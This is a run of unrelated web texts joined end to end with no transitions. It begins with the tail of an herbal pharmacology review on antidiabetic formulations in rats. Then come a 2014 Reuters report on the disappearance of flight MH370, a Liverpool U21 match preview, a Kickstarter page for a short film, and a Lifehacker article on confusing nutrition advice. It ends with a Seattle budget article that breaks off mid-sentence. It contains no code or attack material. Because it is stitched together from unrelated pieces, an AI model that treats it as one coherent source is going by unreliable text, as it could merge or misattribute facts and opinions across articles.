cordifolia, has anti-ulcer and anti-oxidant activity in rats.[94] Hyponidd is another herbomineral formulation composed of the extracts of 10 medicinal plants (Momordica charantia, Melia azadirachta, Pterocarpus marsupium, Tinospora cordifolia, Gymnema sylvestre, Enicostemma littorale, Emblica officinalis, Eugenia jambolana, Cassia auriculata and Curcuma longa). Hyponidd administration also decreased levels of glycosylated hemoglobin, plasma thiobarbituric acid reactive substances, hydroperoxides, ceruloplasmin and alpha-tocopherol in diabetic rats.[95] Anti-oxidant activities of Dihar, a polyherbal formulation containing drugs from eight different herbs viz., Syzygium cumini, Momordica charantia, Emblica officinalis, Gymnema sylvestre, Enicostemma littorale, Azadirachta indica, Tinospora cordifolia and Curcuma longa in streptozotocin induced type 1 diabetic rats. Dihar produced a significant decrease in serum creatinine and urea levels in diabetic rats.[7] -KUALA LUMPUR (Reuters) - A missing Malaysian airliner appears to have been deliberately steered off course after someone on board shut down its communications, Prime Minister Najib Razak said on Saturday. A week after the disappearance of flight MH370, Najib said its last transmission of satellite data came nearly seven hours after it disappeared from radar screens. But the new satellite data gave no precise location, and the plane’s altered course could have taken it anywhere from central Asia to the southern Indian Ocean, he said. Minutes after the Malaysian leader outlined investigators’ latest findings, police began searching the house of the aircraft’s 53-year-old captain for any evidence that he could have been involved in foul play. The Malaysia Airlines Boeing 777-200ER vanished en route from Kuala Lumpur to Beijing in the early hours of March 8 with 239 passengers and crew aboard. Najib, giving his first statement at a news conference since then, confirmed reports that investigators believe somebody cut off the plane’s communications reporting system, switched off its transponder and steered it west, far from its scheduled route. “In view of this latest development the Malaysian authorities have refocused their investigation into the crew and passengers on board,” he said. “Despite media reports the plane was hijacked, I wish to be very clear, we are still investigating all possibilities as to what caused MH370 to deviate.” Search operations by navies and aircraft from more than a dozen nations were immediately called off in the Gulf of Thailand and the South China Sea to the east of Malaysia, where the plane dropped off civilian air traffic control screens at 1:22 a.m. last Saturday (1722 GMT on Friday). Malaysia said new data showed the last communication between the missing plane and satellites at 8:11 a.m. (0011 GMT), almost seven hours after it turned back and crossed the Malay peninsula. The data did not show whether the plane was still flying or its location at that time, presenting searchers with a daunting array of possible last locations. Seven hours’ more flying time would likely have taken it to the limit of its fuel load. TWO CORRIDORS Najib said the plane’s final communication with satellites placed it somewhere in one of two corridors: a northern arc stretching from northern Thailand to the border of Kazakhstan and Turkmenistan, or a southern one stretching from Indonesia to the vast southern Indian Ocean. “Clearly, the search for MH370 has entered a new phase,” said Najib, whose government has come under criticism for its slow release of information surrounding one of the most baffling mysteries in aviation history. Related Coverage Malaysian plane saga highlights air defense gaps India stepped up its search in two areas at the request of Malaysia - one around the Andaman and Nicobar Islands and another further west across the Bay of Bengal - but found no evidence that would indicate that the plane had come down in its waters, the Defence Ministry said. A senior military official in Port Blair, capital of the archipelago, said Indian aircraft had combed waters stretching up to 300 nautical miles offshore and overflown all 572 islands in the chain but “we don’t have anything so far”. India’s Eastern Naval Command was investigating a separate rectangular ‘box’ 15 km wide by 600 km long, some 900 km east of Port Blair, but had found nothing. About two-thirds of the passengers on board the flight were Chinese, and Beijing has been showing increasing impatience with the speed and coordination of the Malaysian search effort. On Saturday, China said it had demanded that Malaysia keep providing more thorough and accurate information, and added that it was sending a technical team to Malaysia to help with the investigation. China’s Xinhua state news agency said in a commentary that Najib’s disclosure of the new details was “painfully belated”. “And due to the absence - or at least lack - of timely authoritative information, massive efforts have been squandered, and numerous rumors have been spawned, repeatedly racking the nerves of the awaiting families,” it said. The fate of flight MH370 has been shrouded in mystery since it disappeared off Malaysia’s east coast less than an hour into its scheduled flight from Kuala Lumpur to Beijing on March 8. But investigators have increasingly discounted the possibility of an accident due to the deliberate way it was diverted and had its communications switched off. EXPERIENCED CAPTAIN Investigative sources told Reuters on Friday they believed the plane was following a commonly used navigational route when it was last spotted early on Saturday, northwest of Malaysia. Their suspicion has hardened that it was flown off-course by the pilot or co-pilot, or someone else with detailed knowledge of how to fly and navigate a large commercial aircraft. No details have emerged of any passengers or crew with militant links or psychological problems that could explain a motive for sabotaging the flight. The experienced captain, Zaharie Ahmad Shah, was a flying enthusiast who spent his off days tinkering with a flight simulator of the plane that he had set up at home, current and former co-workers said. Malaysia Airlines officials did not believe he would have sabotaged the flight. Japan Coast Guard pilots look out from the cockpit of their Gulfstream V Jet aircraft, customized for search and rescue operations, as they search for the missing Malaysia Airlines MH370 plane over the waters of the South China Sea March 15, 2014. REUTERS/Edgar Su The 27-year-old co-pilot, Fariq Abdul Hamid, was religious and serious about his career, family and friends said, countering news reports suggesting he was a cockpit Romeo who was reckless on the job. As the search enters its second week, several governments are using imagery satellites - platforms that take high definition photos - while data from private sector communications satellites is also being examined. China alone says it has deployed 10 satellites. “The area is enormous. Finding anything rapidly is going to be very difficult,” said Marc Pircher, director of the French space centre in Toulouse. “The area and scale of the task is such that 99 percent of what you are getting are false alarms.” The corridors given by Najib represent a satellite track, which appears as an arc on a map. The plane did not necessarily follow the corridor, but was at some point along its path at the moment the signal was sent. Officials at Kazakhstan’s state air navigation service were not available for comment while in Turkmenistan, state aviation officials referred queries to the Foreign Ministry. Afghanistan’s ministry of aviation said its controllers were certain the plane had not crossed their airspace. A spokesman for Pakistan’s civilian airspace authority said: “We have not received any requests from Malaysia authorities for help, nor have we any information on the plane’s whereabouts.” SATELLITES Earlier, a source familiar with official U.S. assessments of electronic signals sent to geostationary satellites operated by Britain’s Inmarsat said it appeared most likely the plane had turned south over the Indian Ocean, where it would presumably have run out of fuel and crashed into the sea. If so, just finding the plane - let alone recovering the “black box” data and cockpit voice recorders that hold the key to the mystery - would be a huge challenge. The Indian Ocean has an average depth of more than 12,000 feet, or two miles. This is deeper than the Atlantic, where it took two years to locate wreckage on the seabed from an Air France plane that vanished in 2009, even though floating debris quickly gave an indication of the area of the crash. Any debris would have been widely dispersed by Indian Ocean currents in the week since the plane disappeared. “We have many radar systems operating in the area, but nothing was picked up,” Rear Admiral Sudhir Pillai, Chief of Staff of India’s Andamans and Nicobar Command, told Reuters. “It is possible that the military radars were switched off as we operate on an as-required basis. So perhaps secondary radars were operating, which may not have the required range to detect a flight at an altitude of 35,000 feet.” The other interpretation was that the aircraft continued to fly to the northwest and headed over Indian territory. The source said it was believed unlikely the plane had flown for any length of time over India because it has strong air defence and radar coverage that should have allowed authorities to see the plane and intercept it. Slideshow (16 Images) It is extremely rare for a modern passenger aircraft to disappear once it has reached cruising altitude, as MH370 had. When that does happen, the debris from a crash is usually found relatively quickly, close to its last known position. In this case, there has been no trace of the plane, nor any sign of wreckage. The maximum range of the Boeing 777-200ER is 7,725 nautical miles or 14,305 km. It is not clear how much fuel the aircraft was carrying, though it would have been enough to reach its scheduled destination, Beijing, a flight of five hours and 50 minutes, plus some reserve. -The relentless attacking football implemented by Brendan Rodgers at Anfield has acted as a major inspiration for the Reds' U21s team this season, according to Alex Inglethorpe. On Friday, the coach takes his Academy youngsters into a Barclays U21 Premier League semi-final clash with Manchester United on the back of a campaign which has featured 55 goals in just 21 outings. Kick-off at Anfield is at 7.45pm BST; tickets for the Kop are available to purchase now, while the game will also be broadcast live on LFC TV and LFCTV GO from 7.15pm. Click here for details. Ahead of the encounter, Inglethorpe reflected on how he and his players are inspired by Rodgers' approach and the footballing philosophy the Northern Irishman has installed at the club. "I think it's a very clear philosophy that runs from the top," he explained to Liverpoolfc.com. "We've got incredible mentors and fantastic people to look up to in the first team in the style which they have played all season, irrespective of systems, because the first team have played a few different systems. "The style has been consistent, they want to have the ball, they want to attack, they want to press high on the pitch, they want to entertain and they certainly do that. "They are a side which people will regularly tune in and want to watch a Liverpool match because you are guaranteed excitement and a return to the values that the club was associated with for so many years, and it's our job as an U21s team to do our best to imitate that. "At times we've been able to do that, other times we've tried but not been successful, but that's the nature of youth football and development, but we certainly know what we are trying to do." Watch the video here » The young Reds are now one step away from a final against Chelsea to determine who will be this year's national U21 champions, and Inglethorpe is relishing another date in front of the Kop. This season at Anfield, the U21s have won four games out of five - firing 14 goals in the process - and the coach knows his young charges are keen to impress once more. He added: "We're looking forward to it as a group. We feel as though we've worked hard all season and it's always nice, when you get to the end of the season, to have something to play for. "It's great because the lads have more opportunities to impress and improve and there's no greater chance than at Anfield on Friday. "To get the chance to play at Anfield I think is everything, not just the players but for the staff as well. Anfield generates an incredible atmosphere and there's an incredible ambience about the place. "It's a fantastic place to go and work and it does give the players that lift because it's ultimately where they want to go and play every week. "They want to play at home, they want the ground to be full and they want to contribute to the club, so to have a little dress rehearsal before the future main event is inspirational for all of them." -Clarity is a short film project, estimated at under a half hour run time. It is currently in pre-production, and shoot dates will be in July, 2014 in the Phoenix, AZ area. Dustin Diamond and Lynn Lowry are acting in it! It was written by Jenny Brundage, and will be directed by Brian LaPan. Cover Art Near Future: About one-third of North America's population has either died, or is fatally ill due to side-effects of a commonly-ingested substance. The early symptoms can be mild, and include memory loss, but eventually lead to dementia and a horrible, painful death. Krystal, a young woman, stops off for a bite to eat, on her way to the city, and is reunited with her childhood best friend's older sister, Hope, whom invites her to visit a resort for a few days to catch up. Days pass, and romantic feelings blossom between the women. The resort and its inhabitants seem more and more like home and family. Unfortunately, many of the people are fatally ill, and some of them are not as stable as they initially seem... Everybody is preparing for the punch toast at midnight... but with different drink options, and different reasons behind their choices. Click here for CAST and CREW UPDATES! Cast: Lynn Lowry as Mrs. Diamond Lynn Lowry Dustin Diamond as Dusty Diamond To be clear, Dustin Diamond, best known for his portrayal of Samuel "Screech" Powers on Saved by the Bell, will be portraying a regular, nice, somewhat sarcastic guy. Ever want to see him in something serious, dark and eerie? Back this Kickstarter to get your chance! Dustin Diamond, known mostly to starring in Saved By The Bell, is an actor who has hit most screens in the recent past. He played the role of Samuel Power for almost thirteen years since it began. He played the role so well that he continued the role in the college series where it went by the name, Saved By The Bell: The College Years. Other than appearing on this show, he also appeared in number of games and some reality shows. Some of the reality shows that he appeared in are The Weakest Link, Celebrity Boxing 2, Celebrity Fit Club, and Professional Wrestling. He has also appeared in films like Dickie Roberts: Former Child star in 2003. Dustin has performed stand-up comedy for several years. He has a stage humor which most comedians don’t have. He also commentates on TruTV’s, The Smoking Gun Presents: World’s Dumbest… He has written Behind the Bell, the inside story of the young cast from Saved by the Bell. You can see him in the upcoming film Scavenger Killers (A New Kind of Crazy). E.E. King as Tia... and she's also doing the cover art!!! E.E. King E. E. King is a performer, writer, biologist and painter. Ray Bradbury called her stories “marvelously inventive, wildly funny and deeply thought provoking. I cannot recommend them highly enough.” She is the recipient of various international biology and painting grants. She has murals in Los Angeles and Spain. You might have even seen Meeting of Minds, Mural on Mercado La Paloma, Los Angeles, 2000 121’ x 33’. Also, E.E. King will be Artist in Residence in the Bermuda Museum of Master Artists in 2015. Did I mention she's doing the cover art for Clarity??? Director: Brian LaPan Brian LaPan--Background includes being writer/producer on television shows, including Roseanne, Dinosaurs, Unhappily Ever After, The Sinbad Show, and Parker Lewis Can't Lose. Because of his television background, he is especially suited to skillfully handle our short shoot, work with both novices and seasoned Hollywood actors, and help Clarity become an utterly amazing film. -If you believed the internet, you'd think there's huge debate over whether eggs, coffee, or salt are good or bad for you. In reality, there's significant agreement on diet and health issues among experts, but the general public is conflicted. So why are we so confused when experts agree? Let's clear the air. If you asked most people about foods that are "good" or "bad" for you, you'd get a dozen different answers. You'd find people who vehemently argue that eggs are both good or bad for you, that sodium does and doesn't contribute to hypertension, or that carbs do or don't make you sick. In general, you'll find a lot of laypeople with opinions that may or may not be based in real science. Researchers however, generally have some pretty solid opinions on these issues, and are quick to note where their own shortcomings are. Advertisement So where's the disconnect? In this post, we'll look at where the breakdown happens, who's to blame, and what you can do about it all. We sat down with a number of our own experts to get their input. It's going to be a bumpy ride, so let's get started. The "Health and Diet" Industry Carries Much of the Blame Advertisement Americans spend billions on health and diet products every year. From books and meal plans to prepackaged foods and DVDs, we eat the stuff up (pun intended). It's natural to be attracted to any path that promises big results for little effort, but there's more to it. People who would otherwise consider themselves rational are often duped by marketing and half-truth statements made in the name of science. This is where the diet industry flourishes. By taking advantage of the public's desire for practical health information, so-called "experts" sell us everything from juicers to supplements, convincing us the whole time we'll live forever thanks to their advice. It shouldn't work, but it does. Beth Skwarecki, a science writer and educator, explains why: We respond strongly to warnings about danger, and promises of really awesome stuff (like health, or weight loss)—but only if those warnings or promises are actionable. And with food, that really applies: We can act on a warning to avoid gluten or eat superfoods (or whatever) at our next meal or our next trip to the grocery store. It makes us feel good to have control over ourselves. I'm not a psychologist and this is just my personal opinion, but I'm sure there is research that backs this up. Why this causes confusion: Truth and falsehoods are both presented this way. “Vitamins are magical substances that will make you more healthy if you are deficient!” Well, yeah. That's actually true. “Vitamins are magical substances that will make you more healthy!” Sounds similar, but it's not the same, and it's not true in most cases. Then you can substitute various other chemicals or superfoods for the word "vitamins" in that sentence. True claims and misleading ones sound very similar. People selling diets or exercise programs will latch on to true things that help them sell their product; they'll also latch onto false ones. Just look at Dr. Oz: plenty of what he's pushing is true, but lots of it isn't, or is misleading. Which is which? I don't know that he cares. He just needs a steady stream of things to endorse. Advertisement We don't mean to single out Dr. Oz here. There are a number of physicians and other medical professionals who are highly educated, but have made the decision to "sell health." They may believe they're doing good, or just want to make a living. In all of those cases, the message is similar: "Living healthy doesn't have to be hard, just do this thing/eat this food/buy my book." Selling health is only half of the job. The other half is undermining public trust in science-based medicine and traditional authorities (although they carry blame too—we'll get to that in a moment) so they can swoop in to the rescue. Andy Bellatti, registered dietitian and frequent Lifehacker contributor, explains: The food industry thrives on confusion, and it loves to propagate the notion that "Gee whiz, one day you're told coffee is good for you, the next day you're told it's unhealthy!" By making nutrition advice seem "confusing," they attempt to gain the public's trust. It also doesn't help that, increasingly, food companies are setting up "institutes" (i.e.: Coca-Cola's Beverage Institute for Health and Wellness, General Mills' Bell Institute) that are essentially PR efforts that oh-so-coincidentally frame these companies' products as healthful (or, in the case of soda, in no way problematic from a health standpoint). To make matters more confusing, these institutes have doctors, cardiologists, and dietitians on their payroll—as well as key media contacts—resulting in a health professional talking to media about, say, how soda is "unfairly vilified." Most times, the general public isn't aware that this isn't an objective health professional choosing to say that. Advertisement When we debunked stubborn exercise myths, we ran headlong into one of these groups. The "Gatorade Sports Science Institute" has papers explaining why Gatorade is better than water for exercise—papers we saw copied word-for-word on other sites. In reality, depending on the exercise you do there's either no difference between water or sports drinks, and for most people (and for moderate exercise) there's clear evidence that water is the better option unless you're doing for bouts of prolonged exercise. All of these tactics may seem underhanded, but they're just part of the marketing game. By playing on the public's confusion and presenting their own products as quick fixes they convince us to buy their books, follow their diet plans, and perhaps most dangerously, ignore legitimate advice and real research. Advertisement It's not just companies that do this though. Individuals with a message to sell also do it. Skwarecki's article, Why It's So Easy to Believe Our Food is Toxic, is an exceptional case study in this. She explains how "experts" take good premises—like the need to take your health in your own hands and be critical of the things you eat and buy—and go off the rails when the sales pitch gets involved. She calls out nutrition gurus and health "experts" you've likely seen reposted on Facebook, like Vani Hari (aka The Food Babe,) and Joseph Mercola, among others, who thrive on obfuscating nutrition so much that the only clear thing they do suggest is that you should buy their books, sponsored foods, and DVDs. Food industry marketing firms and "diet guru" salesmen both use the same tactics, and both groups make money from your fear and lack of knowledge about health. You should treat both with the same skeptical eye, even if one's message is more attractive than the other. Advertisement Corporate-Influenced Government Writes the Guidelines The diet industry only shares part of the blame here. Much rests squarely on the shoulders of our government. We're not talking about a political party or person. This problem extends back for over 50 years, and it's not just an American problem. Our dietary guidelines and food industries have far-reaching global impact. People in countries around the world aim to adopt a more luxurious, first-world lifestyle, and that includes all of the food products available in countries like ours. Our industry reps are at the table when writing trade agreements. Nutrition scientists however, are not. Advertisement Dietary guidelines issued by government agencies responsible for food (largely the USDA) have changed over the years. They now focus less on foods and more on nutrients, which has three big problems: A "balanced diet" has transformed from a selection of foods and portion suggestions into a concoction of nutrients that people have to "make sure they're getting enough of," (which they would anyway with a balanced diet.) It's led the public to panic over specific nutrients and ingredients in our foods. So-called "nutritionism" has led to the low-fat craze, the salt-is-evil scare, and the eggs-cause-heart-disease panic, all of which have been largely refuted (with special cases excepted.) The people responsible for dietary guidelines are directly at odds with (and often influenced by) food industry groups, agricultural companies, and other businesses with a massive stake in making sure you eat the food they pack and sell—and they're willing to spend politically to make sure the government recommends their products. Advertisement Just like money can buy influence in politics, it can buy influence in dietary guidelines. Kamal Patel, director at Examine.com, a site that aims to bring relevant studies to nutrition topics, explained the connection this way: The USDA created the food pyramid to encourage a healthy diet, but the USDA also has a mission to encourage agricultural products grown in the US. There can be a LOT of conflict between those two goals. So the food pyramid (ahem, I mean "MyPlate") is not simply an objective summary of the available evidence. In fact, if the dietary guidelines had to go through peer review, I'm not sure it would be accepted for publication. Speaking of the dietary guidelines...some people are of the mindset that they don't really matter. Nobody really reads the whole guidelines document, unless you're a researcher or just really into nutrition. But the guidelines are actually hugely important. Who's the biggest provider of food in the US? It's not McDonald's. It's the US government, by far. They provide food for the school lunch program and for over a million military members, in addition to subsidizing food for people with low incomes and a variety of other groups. And that's outside the indirect effect the guidelines have on physicians, who then inform their patients, who often aren't Lifehacker types who do their own research but rather just do exactly as their doctor directs. Or at least attempt to. Equally important is the huge size of supplement industry and the food lobby. Farmers have little to no power compared to Unilever, General Mills, etc. They made it so that packaged foods are the norm, food and supplement marketing has become insane, and whole foods have lost out big time. In the beginning days of the food pyramid, they were using the slogan "Eat Right". Kraft used that slogan, so they told the government to stop, and they did! Companies always win. A few more examples: Government policy favors packaged foods that can display health claims (e.g. Granola bars, Lunchables) rather than natural foods that come loose or in clear plastic (e.g. strawberries, chicken thighs). Grains were originally 2-3 servings per day until food companies complained and they more than doubled the recommendation. Fruit and veggie manufacturers make very little money compared to General Mills and Unilever, so it took the National Cancer Institute to step in and tell the first-draft writers for the food pyramid that they really need to bump up the fruit and veggie intake. Even the person in charge of the first pyramid, Louise Light, wrote a book about how screwed up the process was by industry and differing interests. She said that the grain-based pyramid would cause obesity and diabetes, and it did. The people in charge told her that fruits and veggies are kind of interchangeable with grains, plus grains are cheaper for food stamps. Although few if any researchers are out to lie to the public, note that for the 2000 Dietary guidelines committee, 6 out of 11 members had financial ties to food and agriculture manufacturers. Researchers have pet projects and advocate for them, and funding and careers are dependent on that. Advertisement When Patel explained this, I asked how the government—probably the closest thing to a trusted resource—could re-shape its recommendations. He explained: A better way to form the guidelines may be to avoid focus on individual nutrients (since few nutrients are categorically good or bad, other than manmade trans-fats which are always bad) and rather encourage whole foods. But if that message was the basis of a more simple guideline, and processed packaged foods were discouraged, where would that leave General Mills, Monsanto, and Unilever? Not that they directly write the guidelines, but they have lobbies and fund studies. And the government allows them to label Fruity Pebbles as healthy, just because they add some sprinkling of vitamins into the sugary mix. One last reason why it's good to focus on foods rather than nutrients for recommendations: single vitamins often fail in trials. Researchers used to think that vitamins E and A may protect against disease if supplemented. Dozens of trials later, it turns out that both may slightly lower lifespan or cause a bit more disease. One reason is that nutrients work in concert — eating a healthy diet where the foods naturally have a variety of nutrients is probably a better idea than relying on supplements to save you from a crappy diet. Indeed, there are no "superfoods" or "supernutrients"...it's probably more important to eat a natural diet that has some of each nutrient in addition to some healthy plant and animal components that aren't classified as essential nutrients (these are good/great for optimal health, but not technically necessary to live). Advertisement Unfortunately, that won't happen as long as major food industry groups play a significant role in drafting nutritional guidelines. This isn't to say they're not at all useful, but they should be viewed with a skeptical eye. Alannah Dibona, frequent Lifehacker contributor, MS in Nutrition Studies and registered dietitian, sums it all up: We humans are experts at changing our minds, issuing inaccurate self-reports, and, well, living. Dr. Walter Willett of the Harvard School of Public Health explains this beautifully alongside other issues with nutrition research in his latest book "Eat, Drink, and Be Healthy: The Harvard Medical School Guide to Healthy Eating." Dr. Willett takes care to point out another major factor: in this country, nutrition research for governing bodies is frequently in direct conflict with agriculture and its stake in the economy. The research that contributes to the USDA food pyramid, for example, is largely funded by grants from the dairy and beef industries. Thus, dietary "recommendations" from different bodies should be examined with a critical, research-oriented eye. The consumer must ask, "Who paid for this?" Advertisement The Media and the Scientific Community Communicates Poorly So we've established that money talks. But surely science-based medicine must offer useful data that we can all use, right? Not quite. When I asked Skwarecki about it, she explained it this way: The other reason there is confusion? Because there really ARE old beliefs that were held as true that are being corrected. Saturated fat is a subject with genuine controversy. Experts have not come to a consensus, but decades of public-health messages are in the process of being potentially overturned. When you hold to something as a foundation (Of course fat is bad for you! Of course stretching prevents injury!) and that belief gets challenged, you're tempted to give up on everything. It's a very reasonable thing to do: My facts were wrong, I need to reevaluate all my facts. Advertisement The truth is, while there's consensus on many things, there's a huge lack of it on others. Epidemiology, or the study of the patterns and causes of disease, is extremely difficult to do. Says Patel: Nutritional epidemiology is a really, really tough thing to study. Harder than most other areas of health. Much harder than it sounds. Some people think "Oh nutrition! I know about food and nutrition! That's much easier than some analyzing some obscure medication that I can't even pronounce." Wrong. Medication effects can be complex, but nutritional epidemiology makes that look like child's play. ... It's easy to see how the public can get mixed messages. Research results are notoriously unpredictable, since only some of the total number of studies get published. Studies have a higher chance of getting published if they show positive results, and food and supplement manufacturers can keep funding trials until one gets published. Nutrients interact with each other, so the effects of any one nutrient are hard to predict, let alone the effect of any one food in the midst of a diet comprised of dozens or hundreds of foods. So while I don't agree with everything Michael Pollen says, his message is generally on point: "nutritionism" is bound to fail. If you obsess about your diet and individual nutrients, you not only lose the benefit of the occasional cronut or thanksgiving dinner, but you lose the forest for the trees. Natural foods are what's healthy, nutrients and the controversies they cause are what keeps research dollars flowing and flip-flops popping up every couple weeks. It's important to get nutrients, but it's wise to get them mostly through food, and only after that supplement what you need in a very targeted manner. Advertisement In short, the science here is complex, difficult, and slow-moving. Patel explained that while there is consensus on some things, everyone's body is different. For every factor where there is agreement, there's another factor that influences everything: There is a rough agreement that a balanced diet is probably a good idea. While there are some regular people who experiment with meat-only diets, macrobiotic diets, etc, most researchers are old dudes who eat normal diets and believe that veggies and fruits and whole grains are good, and red meat is bad, and some other things are in between. I'm just one person who has had the opportunity to make a career out of reading articles and grading their study quality — but I can honestly say that I don't know what is correct for sure. Gluten and wheat is bad for some people, low carb could help certain diabetics but so could a very nutritious diet, and low carb can also cause side effects in some people. Some people live long lives with "healthy" diets, some live long lives eating milk chocolate and fried chicken every day. For any specific nutrient, I can summarize the evidence. And for any type of diet, I can find the totality of observational evidence for it. But there haven't been many (any?) long term randomized trials of low carb, high carb, etc etc. It would be too expensive, deemed unethical, and just not logistically feasible for compliance — the primary researcher for long term observational trials (where they just follow people and collect data, not make them eat certain diets) often die in the middle of the trial, so it's quite an effort to keep a long randomized trial going that costs millions. Especially when food trials are funded at levels so much lower than pharmaceutical trials. This is where the media comes in. Research that you hear about may be just one study designed to tackle a specific angle to a much larger problem. This is where the media (yes, ourselves at Lifehacker included) are at fault. Preliminary results published and popularized as cure-alls, rat cures touted as future human cures, it makes the public believe every miracle is a few trials away, and when it's not, people are frustrated and confused. This kind of poor communication and science reporting is a topic we've covered before in detail, and it plays a huge role in making the public's perception of science and medicine worse. As a result, it sends people running into the arms of diet hucksters and snake oil salesmen, eager to capitalize on that lack of trust. Advertisement We Are Predictable and Easily Influenced Advertisement We're part of the problem too. Our buying habits are predictable and easy to capitalize on. Our psychology is even predictable, and well studied by marketers. The power of the word "natural" to drive sales even though we all know it's meaningless is a good example, as is the fear around the word "processed" without context. The scare over the "yoga mat chemical" (aka azodicarbonamide) is a good example too - we're poorly educated when it comes to science issues, don't read beyond headlines, succumb to confirmation bias, take up sides and arms in specific camps, and carry our message around to anyone who'll listen without listening ourselves. Advertisement Similarly, where we put our money influences who has power and amplifies their message, even if it's not backed by science. We put our money where those opinions are, and those opinions are influenced easily. The industries and companies we support grow, even as we look elsewhere in the world for examples of healthy living. Those companies in turn export our lifestyle into new markets. Unless there's strength in the food traditions in those markets, they become more like us and suffer the same illnesses we do. In the process, they lose the very things we could learn the most from. So What Can We Do? Advertisement By now it may seem like we're pretty screwed. Where can you turn for legitimate advice? I asked our panel for their suggestions, and unfortunately they all agreed that we have to properly calibrate our bullshit detectors, and seek out multiple, trustworthy resources. Be ready for conflicting data—if you find it, it just means the topic isn't settled. The image above, from this pocket guide to bullshit prevention over at io9, is a good starting point. You could ask your doctor, or a nutritionist—but Patel explained that's not always the best route. Most physicians get minimal nutrition training during medical school. A "nutritionist" could be anyone with a range of certifications, some of which can be earned in months without any real science study or knowledge. Even some registered dietitians (RDs) can unflinchingly toe the official government line just because it's easy and the closest thing we have to an evidence-backed recommendation, even though it's far from perfect. When I asked Patel, he suggested everyone take time to learn about nutrition science and empower themselves: It's best to learn a bit of basic nutrition science (like from a free online course or book—online courses from Udemy, Khan, MIT, etc), and then get to finding people who seem logical to discuss things with. These people can be at a local meetup, they could be a doctor or an alternative medicine practitioner or a dietician. Do not rely on Mayo Clinic, WebMD, etc. They are very conservative and go with whatever the government says for the most part. People who like food, who like cooking in particular, often eat healthy even if they don't know everything about nutrition. This is because eating plants and animals is probably the healthiest diet, rather than eating mostly packaged foods comprised of some type of flour, some type of vegetable oil, and a long list of other ingredients. Advertisement Bellatti suggests you be critical, but also don't boil it down to the old adage, "everything in moderation." It oversimplifies things: The basic principles of healthful eating—eat a generous amount of fruits and vegetables, eat as little sugar as possible, prioritize whole foods (i.e.: avocados and chickpeas as opposed to Lucky Charms and Cheetos)—have remained unchanged for decades. The issue of moderation is problematic because it sounds good in theory, but it has been so watered down and so co-opted by the food industry that it now means nothing. The food industry loves to use "everything in moderation" to state that all their offerings—no matter how heinous—"fit in a healthy diet." Alas, a diet that includes frozen pizza, sugary cereal, soda, chips, and fast food all in "moderation" quickly becomes a diet where these foods, "in moderation," take up the most real estate. I urge people to remain curious and open-minded, but also to remember common sense and, whenever possible, read the actual study or seek the opinion of a well-informed individual who is able to understand the studies. Sometimes, a study like "X food lowers diabetes risk by 35%" is based on a study where the servings needed to slash that risk are preposterous. Advertisement At the end of the day, the reason why there's so much confusion is because there's too much to be gained by keeping us all confused and looking for guidance. Similarly, the fact that nutrition and health science is difficult and slow doesn't engender much faith from a quick-fix addicted public. The big lessons here though are ones you probably knew already: Eat smart, cook your own food, and think critically when someone tries to sell you a diet or lifestyle. Think just as critically when someone is trying to sell you fear, uncertainty, and doubt. Do your own research, challenge your confirmation bias, and be willing to change your mind as new evidence arises (don't fall for the "I've done this my whole life and I'm fine" excuse.) Finally, and most importantly, remember that what works for you may not work for someone else. Nutrition is never a one-size-fits-all science. Kamal Patel is the director of Examine.com. He's a nutrition researcher with an MPH and MBA from Johns Hopkins University, and is on hiatus from a PhD in nutrition in which he researched the link between diet and chronic pain. He has published peer-reviewed articles on vitamin D and calcium as well as a variety of clinical research topics. Kamal has also been involved in research on fructose and liver health, mindfulness meditation, and nutrition in low income areas. Examine.com and Kamal are both on facebook. Advertisement Beth Skwarecki is a science writer and educator. Her work has appeared in Scientific American, PLOS Public Health Perspectives, and the Pittsburgh Post-Gazette. You can find more of her work in her portfolio here, and you can follow her on Twitter at @BethSkw . Andy Bellatti, MS, RD is a Las Vegas-based dietitan and the author of the nutrition blog Small Bites. You can follow him on Twitter at @andybellatti. Alannah DiBona, MA, MS, is a Boston-based nutritionist and mental health counselor, and the woman behind mindbodysportconsulting.com. Advertisement All four graciously volunteered their expertise for this story, and we thank them. -Tax and spend: Seattle outpaces other governments The City of Seattle's operating budget has increased by 65 percent since 2000, a significantly faster clip than the jumps in spending at King County and the state. But it still hasn't been enough. Seattle faces a $67 million deficit next year, a situation that has led Mayor Mike McGinn to propose broad cuts to next year's city budget -- including the elimination of nearly 300 jobs and reductions to the arts, neighborhoods and human services. Most governments are underwater due to a combination of rising expenses and tax revenues coming in at a slower than expected rate due to the Great Recession. However, Seattle has outpaced others when it comes to taxing and spending, according to a review by seattlepi.com. King County's operating budget has gone up 32 percent during the decade, while its general fund revenues have increased 41 percent. The state's operating budget increased by about 53 percent in 10 years while its revenues rose by about 50 percent. The money the city gets from taxes, fees and other sources to pay for day-to-day services has gone up 67 percent over the past decade . It's tricky to compare governments because they do different things and serve different populations. King County has fewer taxing resources and it's charged with providing services for unincorporated areas that are expensive to cover, for example. And the state's operations dwarf those of cities and counties, while Olympia lawmakers can rewrite tax and spending laws to help deal with downturns. And the state writes its budget on a two-year cycle. Seattle and King County operate on one-year budgets. Seattle, the state's largest city, has a famously tax-friendly electorate. It's rare for Jet City residents to reject a tax hike, so its political leaders are less wary than their counterparts elsewhere to reach for that option. "The vast majority of the differences between growth at the county and the city are the revenue tools allowed by state law. The city has the ability to rely on property taxes, sales taxes, B&O (business) and utility taxes, while the county does not have the B&O or utility tax," said Hall Walker of Seattle's budget office. King County relies on the property tax for the bulk of its funds. In 2001, voters passed Initiative 747, which limits property tax growth to 1 percent plus new construction. It had been 6 percent before that. "King County's general fund revenues are more constrained than either the state's or a city's," said Frank Abe, spokesman for Executive Dow Constantine. Walker said there were other reasons for the discrepancy in government growth. The county removed park funding from its general fund and the Emergency Medical Services levy renewed at a much higher rate in 2007, $630 million over six years. The owner of a $400,000 home is paying $120 a year for the service. The county funnels the EMS monies into a separate account, while Seattle puts its EMS revenue in its general fund. And Seattle has raised its business and occupation tax rates and added more paid, on-street parking spaces to try to bring in more money. In 2000, Seattle's adopted operating budget was $548 million. This year it was just over $905 million. Ten years ago the city took in $542 million from taxes and other sources to pay for its daily operations. This year that figure was about $900 million. In his budget for next year, McGinn proposed no general tax increases. But he did suggest $23 million in higher fees and other revenue-generating proposals. The business community objected to plans to significantly raise the hourly parking rate. Last month McGinn and a coalition of city unions announced they'd tentatively agreed to forgo automatic 2 percent cost-of-living raises in future years. Previously, unions got at least a 2 percent annual bump, regardless of inflation. Going forward through 2013, raises will track the Consumer Price Index. For next year that would mean a 0.6 cost-of-living increase and a $2.3 million savings for the general fund. Labor costs are the biggest chunk of the operating budget, and, since 2000, what the city has paid its workers in salary and benefits has gone up 